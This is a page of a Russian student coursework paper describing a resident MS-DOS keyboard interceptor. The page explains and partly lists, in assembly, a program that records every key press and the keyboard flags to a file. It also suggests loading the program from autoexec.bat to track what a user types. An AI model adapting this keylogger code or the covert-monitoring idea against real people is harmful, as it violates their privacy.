KURSOV (Резидентный обработчик клавиатуры (перехват нажатий клавиш и запись в файл)), страница 4

3. Описание программы

3.1. Описание для пользователя

Приведённая ниже программа осуществляет перехват прерывания от клавиатуры, и производит запись скэн-кодов клавиш и байта флагов клавиатуры в файл с именем « s_code&f.txt ». При этом фиксируются только нажатия клавиш. Запись происходит при каждом шестнадцатом нажатии клавиши. Это сделано, во-первых, для уменьшения вероятности потери «ценных» нажатий при экстренном выключении компьютера, во-вторых, для экономии оперативной памяти, в-третьих, для сохранения нормальной работоспособности компьютера. Файл « s_code&f.txt » создаётся в родительском каталоге программы. Если при инсталляции файл уже существует, то программа, автоматически, запишет в конец текущую дату и время, после этого будет осуществляться запись скэн-кодов и флагов в обычном режиме после даты и времени. Программа является резидентной. После того как она будет успешно инсталлирована, на экране появится соответствующая надпись “Program installed”. В ней предусмотрена защита от повторной установки. Таким образом одновременно в оперативной памяти компьютера не может находится больше одной копии программы, что практически сводит к нулю шансы не корректной работы. При попытке запустить программу после того как она уже была инсталлирована, на экране появится соответствующая надпись “Program already installed”. Также эту программу можно выгрузить из оперативной памяти после того как потребность в ней отпадёт. Для этого следует запустить программу с ключом “off”, т.е. в командной строке написать <имя программы> off . После этого вы увидите строку “Program is DIE”, сигнализирующую об успешной выгрузке программы. При этом содержимое буфера будет записано в файл. Таким образом, в файл будут записаны все нажатия клавиш вплоть до выгрузки программы. Если данную программу записать, например, в autoexec.bat, то можно будет проследить время начала работы пользователя и какие кнопки он после этого нажимал.

Данная программа работает только в среде MS-DOS.

3.2 Описание для программиста

Программа пишется в формате СОМ, поэтому в ней предусматри­вается только один сегмент, с котором связываются сегментные ре­гистры CS и DS; в начале сегмента резервируется 256 байт дня PSP.

Инициализация.

При запуске программы с клавиатуры управление передается (в со­ответствии с параметром директивы end) на начало процедуры main. Командой jmp сразу же осуществляется переход на секцию инициализа­ции, которая оформлена в виде отдельной процедуры. В секции инициализации подготавливаются условия для работы программы уже в ре­зидентном состоянии.

В начальной части инициализации мы проверяем наличие хвоста в PSP, если же в командной строке кроме имени команды ничего не было – переходим на дальнейший анализ:

mov cl,es:80h

cmp cl,0

je live

Если хвост присутствует, проверим не был ли введён ожидаемый параметр “off”. При положительном результате проверки устанавливаем флаг требования выгрузки “flag” в единицу и переходим на дальнейший анализ.

Затем вызываем мультиплицированное прерывание int2Fh c функцией F1h и подфункцией проверки на повторную установку 00h. Если наш обработчик находится в оперативной памяти – он возвратит AL=FFH, и программа перейдёт на метку installed. Проверим установлен ли флаг требования выгрузки “flag” . Если flag =1 перейдём на метку unins, где перешлём в первую (резидентную) копию программы запрос на выгрузку из оперативной памяти по средствам прерывания int2Fh и функцией F2h с подфункцией 01h. После чего происходит вывод строки “Program is DIE” на экран сигнализирующей об успешном удалении резидентной части программы. После чего выйдем из программы, обычным образом, функцией 4С00h.

Если флаг требования выгрузки “flag”=0, это говорит о том, что введена неизвестная команда, а наш резидент уже инсталлирован. В этом случае выведем на экран предупреждающую надпись о невозможности повторной установки программы “Program already installed” сопровождаемую звуковым сигналом. После этого завершим программу функцией 4Ch с кодом возврата 01h.

Если после прерывания int2Fh c функцией F200h, возвратиться ALFFh, то нашего обработчика в памяти не оказалось. Сохраним смещения и сегменты системных обработчиков int09h и int2Fh, а затем заполним векторы смещениями наших обработчиков.

mov ax,352fh

int 21h

mov word ptr cs:old_2fh,bx

mov word ptr cs:old_2fh+2,es

mov ax,252fh

mov dx,offset new_2fh

int 21h

mov ax,3509h

int 21h

mov word ptr cs:old_09h,bx

mov word ptr cs:old_09h+2,es

mov ax,2509h

mov dx,offset new_09h

int 21h

После этого произведём поиск рабочего файла «s_code&f.txt» в текущем каталоге. Если файл не будет найден, то запустится процедура div_f, которая создаст рабочий файл и запишет в него строку «Skencode&Klav_flag file». В дальнейшем в этот файл будут записываться скэн-коды и байт флагов клавиатуры. Если файл уже существует, будет вызвана процедура div2_f, которая допишет в конец файла текущую дату и время.

Выведем на экран строку «Program installed» подтверждающую установку программы. Последними строками этой части инициализации вызывается функция DOS 31h, которая выполняет завершение програм­мы с оставлением в памяти указанной ее части. Размер резидентной части программы (в параграфах) передается DOS в регистре DX. Размер резидентной секции определяется разностью смещений end_res-main, которая равна длине резидентной части программы в байтах, прибавляется размер PSP (l00h) и еще число 15 (Fh) для того, чтобы после целочисленного деления на 16 результат был округлен в большую сторону.

mov ax,3100h

mov dx,(end_res-main+10fh)/16

int 21h

С целью экономии памяти секция инициализации располагается я конце программы и отбрасывается при ее завершении.

Функция 31h, закрепив за резидентной программой необходимую для ее функционирования память, передает управление командному процессору и вычислительная система переходит в исходное состояние. Наличие программы, резидентной в памяти, никак не отражается на хо­да вычислительного процесса, за исключением того, что уменьшается объем свободной памяти. Одновременно в память может быть загруже­но любое число резидентных программ.

Резидентная часть обработчика.

Эта секция программы имеет две точки входа:

1. Перехват прерывания int09h(клавиатура). В результате нажатия или отпускания клавиши на клавиатуре запускается процедура new_09h.

2. Перехват мультиплексорного прерывания int2Fh. В результате перехвата мультиплексорного прерывания запускается процедура new_2fh.

Обработчик прерывания от клавиатуры.

После запуска процедуры new_09h сохраним используемые регистры. Затем получим скэн-код последней нажатой клавиши. В противном случае восстановим регистры и передадим управление следующему по цепочке обработчику клавиатуры (скорее всего это будет BIOS-овский обработчик «int09h»).

in al,60h

cmp al,80h

ja exit

Затем запишем этот скэн-код в буфер, считаем байт флагов клавиатуры из области данных BIOS и также занесём в буфер.

Наш буфер имеет объём 32 байта, поэтому после каждого шестнадцатого нажатия необходимо сохранять буфер в рабочем файле. Для подсчёта нажатий введена переменная-счётчик sch.

Увеличим счётчик на 2, затем проверим полон ли буфер, сравнив счётчик с 32. Если буфер не полон, сохраним использовавшиеся регистры и передадим управление следующему по цепочке обработчику клавиатуры. Если буфер забит, передадим управление процедуре fil.

Эта процедура откроет наш рабочий файл, установит указатель в конец и допишет столько байт из буфера начиная сначала, сколько укажет ей переменная-счётчик.

mov ah,40h

mov cl,sch

mov dx,offset bufer

int 21h

Это сделано для того, чтобы при удалении программы из памяти в файл были записаны все скэн-коды включая команду на удаление. Этот случай рассмотрим ниже. После того как данные будут сохранены, восстановим использовавшиеся регистры и передадим управление следующему по цепочке обработчику клавиатуры.

Обработчик мультиплексорного прерывания

Процедура new_2fh перехватит прерывание 2Fh, и если прерывание вызвано вместе с функцией F1h, то в зависимости от подфункции значение которой находится в AL выполнит следующие действия:

1. Если подфункция находящаяся в AL=00h (код наличия в памяти нашего обработчика), то наш обработчик возвратит в AL=FFh и выйдет из прерывания.

cmp al,00h

je inst

…

inst: mov al,0ffh

iret

1. Если подфункция находящаяся в AL=01h (команда на удаление из памяти обработчика), то сохраним используемые регистры, вызовем процедуру fil (работа этой процедуры была описана выше), а затем освободим блоки памяти занятые нашим обработчиком, восстановим старые векторы 09h и 2Fh. Восстановим использовавшиеся регистры и выйдем из прерывания.

Если мультиплексорное прерывание было вызвано с другой функцией либо с нашей функцией но с другими подфункциями, то обработчик передаст управление следующему по цепочке обработчику мультиплексорного прерывания.

cmp ah,0f1h

jne out_2fh

cmp al,00h

je inst

cmp al,01h

je off

jmp short out_2fh

inst: mov al,0ffh

iret

out_2fh:

3.3. Листинг программы

text segment 'code'

assume cs:text,ds:text

org 256

main proc

jmp init

; Поля данных резидентной секции

old_2fh dd 0 ; Ячейка для сохранения системного вектора 2Fh

old_09h dd 0 ; Ячейка для сохранения системного вектора 09h

bufer db 34 dup(?) ; Буфер для скэн-кодов и флагов клавиатуры

sch db 0 ; Счётчик нажатий клавиш

filename db 's_code&f.txt',0 ; Константа содержащая имя файла с которым работает программа

; Обработчик от клавиатуры

new_09h proc

; Сохраним используемые регистры

push ax

push bx

push cx

push dx

push ds

push cs ; Настроим DS на наш сегмент для простоты программирования

pop ds

in al,60h ; Получим скэн-код клавиши

cmp al,80h ; Проверим, является ли скэн-код кодом нажатия

ja exit ; Нет – на выход

mov bh,0 ; 0BH

mov bl,sch ; Текущее значения счётчика в BL

mov [bufer+bx],al ; Запишем в буфер скэн-код клавиши

inc bl ; Увеличим смещение буфера

push es ; Сохраним регистр ES

mov ax,40h ; Настроим ES на начало области данных BIOS

mov es,ax

mov al,es:[17h] ; Занесём байт флагов клавиатуры в AL

pop es ; Восстановим ES

mov [bufer+bx],al ; Запишем байт флагов в буфер

inc bl ; Увеличим смещение на 1

add sch,2 ; Счётчик нажатий +2

cmp sch,32 ; Пора скидывать буфер в файл?

je go ; Да – на процедуру записи в файл

jmp exit ; Нет – на выход

go: call fil ; Вызов процедуры записи в файл

; Восстановим использовавшиеся регистры

exit: pop ds

pop dx

pop cx

pop bx

pop ax

jmp cs:old_09h ; Передадим управление системному обработчику “int09h”

new_09h endp ; Конец процедуры обработчика от клавиатуры

; Процедура записи в файл скэн-кодов и флагов клавиатуры

fil proc

push cs ; Настроим DS на наш сегмент

pop ds

mov ah,3dh ; Функция открытия файла

mov al,1 ; для записи

mov dx,offset filename ; DS:DX  ASCIIZ имени файла

int 21h

mov bx,ax ; Дескриптор в ВХ

xor cx,cx ; Отчистим СХ

xor dx,dx ; и DX

mov ax,4202h ; Функция установки указателя в конец файла

int 21h

mov ah,40h ; Функция записи в файл

mov cl,sch ; CL  количество байт

mov dx,offset bufer ; DS:DX  адрес буфера

int 21h

mov ah,3eh ; Функция закрытия файла

int 21h

mov sch,0 ; Обнулим счётчик

ret ; Выход из процедуры

fil endp ; Конец процедуры записи в файл

; Обработчик мультиплексорного прерывания

new_2fh proc

cmp ah,0f1h ; Проверим номер функции мультиплексорного прерывания

jne out_2fh ; Не наша – на выход

cmp al,00h ; Подфункция проверки на повторную установку?

je inst ; Да, сообщим о невозможности повторной установки

cmp al,01h ; Подфункция выгрузки?

je off ; Да – на выгрузку